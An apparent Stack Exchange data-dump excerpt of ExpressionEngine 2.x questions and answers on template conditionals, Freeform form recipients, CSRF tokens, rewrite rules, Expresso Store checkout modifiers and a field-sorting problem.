  <row Id="31435" PostTypeId="2" ParentId="31431" CreationDate="2015-05-11T14:49:30.493" Score="0" Body="&lt;p&gt;Can yuo try this thought experiment, it's a bit of a 'shot in the dark' but before when I've fought with advanced conditionals this might get you out of jail...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if &quot;{get_in_touch_jobs_phone}&quot; != &quot;&quot;}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_jobs_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;  {if:elseif &quot;{get_in_touch_media_phone}&quot; != &quot;&quot;}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_media_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;  {if:elseif &quot;{get_in_touch_pages_phone}&quot; != &quot;&quot;}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_pages_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;  {if:elseif &quot;{get_in_touch_staff_phone}&quot; != &quot;&quot;}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_staff_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;  {if:elseif &quot;{get_in_touch_volunteering_phone}&quot; != &quot;&quot;}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_volunteering_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;  {if:else}&#xA;    &amp;lt;p&amp;gt;{gv-global-telephone}&amp;lt;br /&amp;gt;      &#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The theory being &lt;code&gt;{if fieldname}&lt;/code&gt; could just be referrign to &quot;If the field / value exists&quot; kind of like &lt;code&gt;isset&lt;/code&gt;, whereas adding the quotes and squiggly braces &lt;code&gt;{if &quot;{fieldname}&quot; != &quot;&quot;}&lt;/code&gt; parses the value into a string, the advanced conditional is then a string match...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like I say, bit of a shot in the dark however you are on an older EE so this might still be relivent (from my memory EE2.10.1 had some jiggery pokery around advanced conditionals, EE2.9.3 bug (#20621) &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-9-3&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-11T14:49:30.493" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31436" PostTypeId="2" ParentId="31434" CreationDate="2015-05-11T15:30:30.947" Score="2" Body="&lt;p&gt;What is your &lt;code&gt;Require Member Account Activation?&lt;/code&gt; Setting in &lt;code&gt;Members &amp;gt; Preferences&lt;/code&gt; jphansen??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's self activation, the &lt;code&gt;group_id&lt;/code&gt; parameter should override your &lt;code&gt;Default Member Group Assigned to New Members&lt;/code&gt; &lt;em&gt;once the user activates&lt;/em&gt; via the supplied link in their email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its No Activation required, then it should add the user to that user group on registration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise (Manaul Admin activation), I'm not sure but I beleive the admin activation process is for the admin to move the user from the 'pending' group to the relivent (selected by admin) group, ergo no need for this field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SolSpace (the user here) should chip in soon, so will be able to help if it's not going as above...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-11T15:30:30.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31437" PostTypeId="2" ParentId="31421" CreationDate="2015-05-11T15:37:14.687" Score="1" Body="&lt;p&gt;From your question, it looks like the issue is in the channel field with the ID 15, and this field is in fact a grid type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've posed a few questions for you above, however as a &quot;first answer&quot; could you try going to your Channel fields, removing &lt;strong&gt;just&lt;/strong&gt; field with ID of 15 (grid) and recreating please? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what the error is saying, field 15 has got issues in the DB. Another question, have you recently tried updating a server with your local copy? it could be (cant be sure, lack of info) that you created a grid field on your local/dev (which created the table and columns) and then migrated the data to a different server, and lost some of your field setups...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-12T15:43:01.043" LastActivityDate="2015-05-12T15:43:01.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31438" PostTypeId="2" ParentId="31431" CreationDate="2015-05-11T15:46:30.860" Score="0" Body="&lt;p&gt;AS the question has moved onto a display issue on the listing page, I've supplied another answer, firstly I'm guessing at the code, until the OP comes back to us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we assume the channel is called &quot;Jobs&quot; (jobs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;jobs&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;Job Title : {title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;a href=&quot;/jobs/{url_title}&quot; alt=&quot;more info...&quot;&amp;gt;more info...&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;To enquire please phone : &#xA;      {if get_in_touch_jobs_phone}&#xA;        {get_in_touch_jobs_phone}&#xA;      {if:elseif get_in_touch_media_phone}&#xA;        {get_in_touch_media_phone}&#xA;      {if:elseif get_in_touch_pages_phone}&#xA;        {get_in_touch_pages_phone}&#xA;      {if:elseif get_in_touch_staff_phone}&#xA;        {get_in_touch_staff_phone}&#xA;      {if:elseif get_in_touch_volunteering_phone}&#xA;        {get_in_touch_volunteering_phone}&#xA;      {if:else}&#xA;        {gv-global-telephone}     &#xA;      {/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;hr /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-11T15:46:30.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31439" PostTypeId="1" AcceptedAnswerId="31440" CreationDate="2015-05-11T17:02:36.190" Score="1" ViewCount="93" Body="&lt;p&gt;After an update to EE 2.10.1 the module Member Group Tabs throws the following error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call to undefined method Cp::set_variable() in /path/sh_member_group_tabs/ext.sh_member_group_tabs.php on line 277. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea how to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, &#xA;Tom&lt;/p&gt;&#xA;" OwnerUserId="6296" LastEditorUserId="6296" LastEditDate="2015-05-11T17:18:44.370" LastActivityDate="2015-05-12T16:34:06.410" Title="Member Group Tabs throws blank screen after EE upgrade to 2.10" Tags="|ee2|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31440" PostTypeId="2" ParentId="31439" CreationDate="2015-05-11T17:31:52.060" Score="6" Body="&lt;p&gt;open file &lt;em&gt;/system/expressionengine/third_party/ext.sh_member_group_tabs.php&lt;/em&gt; &#xA;and change line 270:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (APP_VER &amp;gt;= '2.6.0')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (version_compare(APP_VER, '2.6.0', '&amp;gt;='))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is also needs to make search &amp;amp; replace for  &lt;strong&gt;APP_VER &gt;= '2.6.0'&lt;/strong&gt; &amp;amp; &lt;strong&gt;APP_VER &gt;= '2.8'&lt;/strong&gt; and replace it with  &lt;strong&gt;version_compare(APP_VER, '2.6.0', '&gt;=')&lt;/strong&gt; &amp;amp; &lt;strong&gt;version_compare(APP_VER, '2.8', '&gt;=')&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3845" LastEditorUserId="3845" LastEditDate="2015-05-11T17:44:59.117" LastActivityDate="2015-05-11T17:44:59.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31441" PostTypeId="1" AcceptedAnswerId="31442" CreationDate="2015-05-11T18:50:13.270" Score="0" ViewCount="194" Body="&lt;p&gt;EE 2.9.3&#xA;FF 4.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Freeform form where I'm using recipients, but it's not sending emails to the recipients.  However if I use notify_admin and admin_notify with the same notification template that email gets sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;clearly emails are able to be sent but using recipients is not working. I've checked and checked and am unable to find any typos or obvious mistakes. Have also copied code to a blank template and it continues to behave incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freeform:form &#xA;      form_id=&quot;1&quot; &#xA;      form:class=&quot;form-horizontal&quot; &#xA;      required=&quot;&quot; &#xA;      return=&quot;contact/thank-you&quot; &#xA;      status=&quot;open&quot;&#xA;      notify_admin=&quot;yes&quot;&#xA;      admin_notify=&quot;fake@mydomain.com&quot;&#xA;      admin_notification_template=&quot;contact_notification&quot; &#xA;      recipient_template=&quot;contact_notification&quot;&#xA;      recipients=&quot;yes&quot;&#xA;      recipient1=&quot;John|none@domain.com&quot;&#xA;      recipient2=&quot;Stacy|none1@domain.com&quot;&#xA;      recipient3=&quot;Bill|none2@domain.com&quot;&#xA;    }&#xA;&#xA;      &amp;lt;fieldset&amp;gt;&#xA;&#xA;        &amp;lt;!-- Select Basic --&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;&#xA;            &amp;lt;select id=&quot;province&quot; name=&quot;province&quot; class=&quot;form-control&quot;&amp;gt;&#xA;&#xA;              &amp;lt;option required class=&quot;orange&quot;&amp;gt;Contact Person&amp;lt;/option&amp;gt;&#xA;&#xA;              {freeform:recipients}&#xA;                  &amp;lt;option&#xA;                      value=&quot;{freeform:recipient_value}&quot;&#xA;                      {if freeform:recipient_selected}selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                      {freeform:recipient_name}&#xA;                  &amp;lt;/option&amp;gt;&#xA;              {/freeform:recipients}&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;more fields here&#xA;&#xA;      {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-05-11T19:22:18.233" Title="Freeform Recipients not working" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31442" PostTypeId="2" ParentId="31441" CreationDate="2015-05-11T19:22:18.233" Score="1" Body="&lt;p&gt;Your opening select tag should be, I believe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;recipient_email&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And not what you have name=&quot;province&quot;, from &lt;a href=&quot;https://www.solspace.com/docs/freeform/form/#recipient_email&quot; rel=&quot;nofollow&quot;&gt;https://www.solspace.com/docs/freeform/form/#recipient_email&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Choose Recipients&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;recipient_email&quot;&amp;gt;&#xA;{freeform:recipients}&#xA;    &amp;lt;option&#xA;        value=&quot;{freeform:recipient_value}&quot;&#xA;        {if freeform:recipient_selected}selected=&quot;selected&quot;{/if}&amp;gt;&#xA;        {freeform:recipient_name}&#xA;    &amp;lt;/option&amp;gt;&#xA;{/freeform:recipients}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="588" LastActivityDate="2015-05-11T19:22:18.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31443" PostTypeId="1" CreationDate="2015-05-11T19:28:10.480" Score="0" ViewCount="238" Body="&lt;p&gt;Does anyone know how to update jQuery and jQuery UI that comes with EE 2.10.1? This question was asked once before but no answers (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30822/jqueryui-appears-to-be-very-old-version-how-to-update&quot;&gt;link&lt;/a&gt;)... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing some digging I found the assets at:&#xA;/themes/javascript/compressed/jquery&#xA;/themes/javascript/compressed/jquery/ui&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem started with some javascript errors concerning zoo_visitor and photo frame. The only way to use these plugins now is to use jQuery 1.7.1 but that conflicts with Bootstrap 3. After setting include_assets=&quot;no&quot; I tried to mimic the includes and that was the point the trouble started...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I think that the developers of EE should find a fix for this. For a 299 dollar CMS this is one major fail.&lt;/p&gt;&#xA;" OwnerUserId="6257" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-12-01T23:47:23.487" Title="EE 2.10.1 jQuery &amp; jQuery UI update" Tags="|zoo-visitor|jquery|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31444" PostTypeId="2" ParentId="31433" CreationDate="2015-05-11T21:02:54.363" Score="1" Body="&lt;p&gt;You should wrap the pagination tag in a conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:paginate}&#xA;    {freeform:paginate}&#xA;        Page {freeform:current_page} of {freeform:total_pages} pages &amp;amp;nbsp; {freeform:pagination_links}&#xA;    {/freeform:paginate}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-05-11T21:02:54.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31445" PostTypeId="2" ParentId="25898" CreationDate="2015-05-11T23:33:19.283" Score="0" Body="&lt;p&gt;Try setting the module preferences here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules &gt; Rating &gt; Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Captcha? set to &quot;yes&quot;&lt;/p&gt;&#xA;" OwnerUserId="2792" LastActivityDate="2015-05-11T23:33:19.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31446" PostTypeId="1" AcceptedAnswerId="31722" CreationDate="2015-05-12T01:03:40.243" Score="6" ViewCount="23562" Body="&lt;p&gt;I have a contact form that, if used after a certain time, will throw a &quot;This form has expired. Please refresh and try again.&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the following to my contact form, thinking it would solve the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution I have come across is to set &lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&lt;/code&gt; (per: &lt;a href=&quot;http://ageekandhisblog.com/expressionengine-how-to-fix-this-form-has-expired-please-refresh-and-try-again/&quot; rel=&quot;noreferrer&quot;&gt;http://ageekandhisblog.com/expressionengine-how-to-fix-this-form-has-expired-please-refresh-and-try-again/&lt;/a&gt;). However, I'm concerned there might be security issues associated with this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2017-01-21T14:47:24.937" Title="How to fix &quot;This form has expired. Please refresh and try again.&quot;" Tags="|security|email-contact-form|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31447" PostTypeId="2" ParentId="31446" CreationDate="2015-05-12T05:32:35.170" Score="5" Body="&lt;p&gt;if you have v 2.10 - try to replace &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{CSRF_TOKEN}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The XID constant is deprecated starting from 2.8.0&lt;/p&gt;&#xA;" OwnerUserId="2370" LastActivityDate="2015-05-12T05:32:35.170" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31448" PostTypeId="2" ParentId="31429" CreationDate="2015-05-12T06:57:18.957" Score="0" Body="&lt;p&gt;Solution was/is as simple as I thought it has to be. Got a reminder from Solspace about how I handle me embeds - wrong way of course because it was not working heh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anycase this will work just fine without any extra hassle(thanks Kelsey for pointing out my idiotism again hehe):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:friends:mine reciprocal=&quot;y&quot; orderby=&quot;screen_name&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;     ...Some common content....&#xA;     {embed=&quot;path_to/embed&quot; author_id=&quot;{friends_member_id}&quot;}&#xA;     ...some other content....&#xA;  {/exp:friends:mine}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;luontopalvelut&quot; author_id=&quot;{embed:author_id}&quot; status=&quot;closed|open|featured|premium&quot; dynamic=&quot;no&quot; limit=&quot;15&quot; disable=&quot;pagination&quot;}&#xA;...stuff here...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-05-12T06:57:18.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31449" PostTypeId="2" ParentId="26197" CreationDate="2015-05-12T07:21:26.753" Score="0" Body="&lt;p&gt;How about this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if total_pages != 1}&lt;/code&gt;, I had some issues with pagination when using operator &gt; but changed that to != solved my case.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-05-12T07:21:26.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31450" PostTypeId="1" CreationDate="2015-05-12T08:54:08.877" Score="0" ViewCount="193" Body="&lt;p&gt;I would like to add the option the change the product modifiers from inside the checkout. I've done some tried some things already but don't seem to be able to manage this. At the moment I'm using an embed function to display the modifiers select per product in my checkout which is working. Though the update seems to ignore this select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout form_class=&quot;form-horizontal&quot; return=&quot;{segment_1}/order_ok/ORDER_HASH/&quot;}&#xA;   {items}&#xA;     {exp:channel:entries entry_id=&quot;{entry_id}&quot; site=&quot;sales&quot;  status=&quot;not closed&quot;}&#xA;       &amp;lt;tr&amp;gt;&#xA;         &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;         &amp;lt;td&amp;gt;&#xA;           {modifiers}&#xA;             {embed=&quot;us/_product-modifiers&quot; entry_id=&quot;{entry_id}&quot; key=&quot;{key}&quot; option_id=&quot;{option_id}&quot; modifier_id=&quot;{modifier_input_name}&quot;}&#xA;           {/modifiers}&#xA;         &amp;lt;/td&amp;gt;&#xA;         &amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;input-group&quot;&amp;gt;&#xA;               &amp;lt;input type=&quot;text&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;form-control qty&quot; placeholder=&quot;1&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/tr&amp;gt;&#xA;     {/exp:channel:entries}&#xA;   {/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embed I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{embed:entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;&#xA;  {modifiers}&#xA;    {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;        &amp;lt;select name=&quot;items[{embed:key}][{embed:modifier_id}]&quot;&amp;gt;&#xA;            {modifier_options}&#xA;                &amp;lt;option value=&quot;{option_id}&quot; {if &quot;{embed:option_id}&quot; == &quot;{option_id}&quot;}selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                    {option_name}&#xA;                &amp;lt;/option&amp;gt;&#xA;            {/modifier_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;    {/if}&#xA;  {/modifiers}&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure if it's even possible without modifying the store code itself as there isn't really anything about it in the documentation from what I can see. Has someone encountered the same problem already or might know a solution to this problem?&lt;/p&gt;&#xA;" OwnerUserId="3685" LastActivityDate="2015-08-10T20:12:20.950" Title="Expresso Store modifier select in checkout" Tags="|expresso-store|checkout|modifiers|product|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31451" PostTypeId="2" ParentId="31425" CreationDate="2015-05-12T09:09:05.103" Score="1" Body="&lt;p&gt;You need to ensure your index.php rewrite happens &lt;strong&gt;after&lt;/strong&gt; the rewrite to the template group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 ^(sitemap_index\.xml|sitemap\.xml|product-feed\.xml) [NC]&#xA;RewriteRule ^(.*)$ /common/$1 [L]&#xA;...&#xA;RewriteCond $1 !^(images|themes|robots\.txt|index\.php|admin\.php) [NC]&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For certain builds with strict 404's and using Structure, I've had to create a page in Structure to keep it happy, but otherwise it should rewrite fine.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-05-12T09:09:05.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31452" PostTypeId="2" ParentId="30850" CreationDate="2015-05-12T09:37:27.223" Score="1" Body="&lt;p&gt;I had this issue also but managed to work around it using the query module. Query module does support paginate and I have also used an INNER JOIN to get our product titles. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_store_orders INNER JOIN exp_store_order_items ON exp_store_orders.id=exp_store_order_items.order_id WHERE member_id = {exp:stash:get name='member_id'} AND exp_store_orders.order_id IS NOT NULL ORDER BY order_date DESC&quot; parse=&quot;inward&quot; limit=&quot;7&quot; paginate=&quot;bottom&quot;}&#xA;    {if no_results}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td colspan=&quot;8&quot;&amp;gt;You haven't placed any orders yet!&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;a href=&quot;/orders/{exp:zoo_visitor:details member_id='{member_id}'}{member:url_title}/{/exp:zoo_visitor:details}{id}&quot; title=&quot;More Information&quot;&amp;gt;#{id}&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{order_date {sn_date_default}}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;span class=&quot;payment-status {order_status_name}&quot;&amp;gt;{exp:heading_title:heading_case}{order_status_name}{/exp:heading_title:heading_case}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{order_total}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{exp:zoo_visitor:details member_id=&quot;{member_id}&quot;}{visitor:member_title} {visitor:member_firstname} {visitor:member_lastname}{/exp:zoo_visitor:details}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;/orders/{exp:zoo_visitor:details member_id='{member_id}'}{member:url_title}/{/exp:zoo_visitor:details}{id}&quot; title=&quot;More Information&quot; class=&quot;icon&quot;&amp;gt;&amp;lt;span class=&quot;icon-circle-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;visually-hidden&quot;&amp;gt;More Information&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {paginate}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{pagination_links}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/paginate}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using stash so that users can only see their own orders, but also the manager of the company they belong to taken from a relationship field can view the orders also. The rest are just standard variables that you would usually use from the {store_orders} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-05-12T09:37:27.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31453" PostTypeId="1" CreationDate="2015-05-12T10:12:24.633" Score="1" ViewCount="43" Body="&lt;p&gt;I have a Channel with a field called &lt;code&gt;{tour_starting_price}&lt;/code&gt;. It's a text input field, with Type set as &lt;code&gt;Number&lt;/code&gt;. It only ever stores integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a simple template that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;tours&quot; orderby=&quot;tour_starting_price&quot; sort=&quot;desc&quot; limit=&quot;100000&quot;}&#xA;        &amp;lt;li&amp;gt;{tour_starting_price}&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the bizarre thing is, the output is returned exactly in this order - which simply isn't ordered descending... Why on earth would this be?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4543&#xA;4516&#xA;3345&#xA;2265&#xA;2230&#xA;2104&#xA;2099&#xA;2089&#xA;1985&#xA;1423&#xA;1381&#xA;1375&#xA;995&#xA;698&#xA;0&#xA;24595&#xA;15895&#xA;15895&#xA;13595&#xA;10540&#xA;10195&#xA;9995&#xA;9995&#xA;9579&#xA;9495&#xA;6875&#xA;6795&#xA;6730&#xA;6670&#xA;6617&#xA;6445&#xA;6323&#xA;6290&#xA;5495&#xA;5449&#xA;5386&#xA;5367&#xA;5338&#xA;5335&#xA;5209&#xA;5190&#xA;5097&#xA;5095&#xA;4625&#xA;4577&#xA;4569&#xA;4550&#xA;4544&#xA;4538&#xA;4495&#xA;4472&#xA;3990&#xA;3982&#xA;3949&#xA;3929&#xA;3928&#xA;3926&#xA;3925&#xA;3835&#xA;3629&#xA;3325&#xA;3325&#xA;3195&#xA;3161&#xA;3145&#xA;3145&#xA;3130&#xA;3120&#xA;3084&#xA;3050&#xA;2739&#xA;2729&#xA;2505&#xA;2500&#xA;2498&#xA;2495&#xA;2249&#xA;2249&#xA;2245&#xA;2225&#xA;2224&#xA;2223&#xA;2199&#xA;2195&#xA;2195&#xA;2189&#xA;2185&#xA;2042&#xA;2029&#xA;2012&#xA;1999&#xA;1998&#xA;1995&#xA;1995&#xA;1995&#xA;1988&#xA;1974&#xA;1825&#xA;1806&#xA;1799&#xA;1799&#xA;1799&#xA;1790&#xA;1755&#xA;1754&#xA;1750&#xA;1749&#xA;1729&#xA;1725&#xA;1722&#xA;1722&#xA;1699&#xA;1697&#xA;1695&#xA;1689&#xA;1689&#xA;1649&#xA;1550&#xA;1489&#xA;1468&#xA;1449&#xA;1445&#xA;1442&#xA;1249&#xA;1237&#xA;1200&#xA;1200&#xA;1149&#xA;1149&#xA;1132&#xA;1132&#xA;1121&#xA;1103&#xA;1095&#xA;918&#xA;898&#xA;896&#xA;850&#xA;840&#xA;765&#xA;765&#xA;699&#xA;698&#xA;688&#xA;665&#xA;665&#xA;320&#xA;225&#xA;0&#xA;0&#xA;0&#xA;0&#xA;-1&#xA;-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="742" LastActivityDate="2015-05-12T10:58:41.667" Title="Channel Entry sorting refuses to sort in the right order?" Tags="|channel-entries|channel|orderby|sort|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
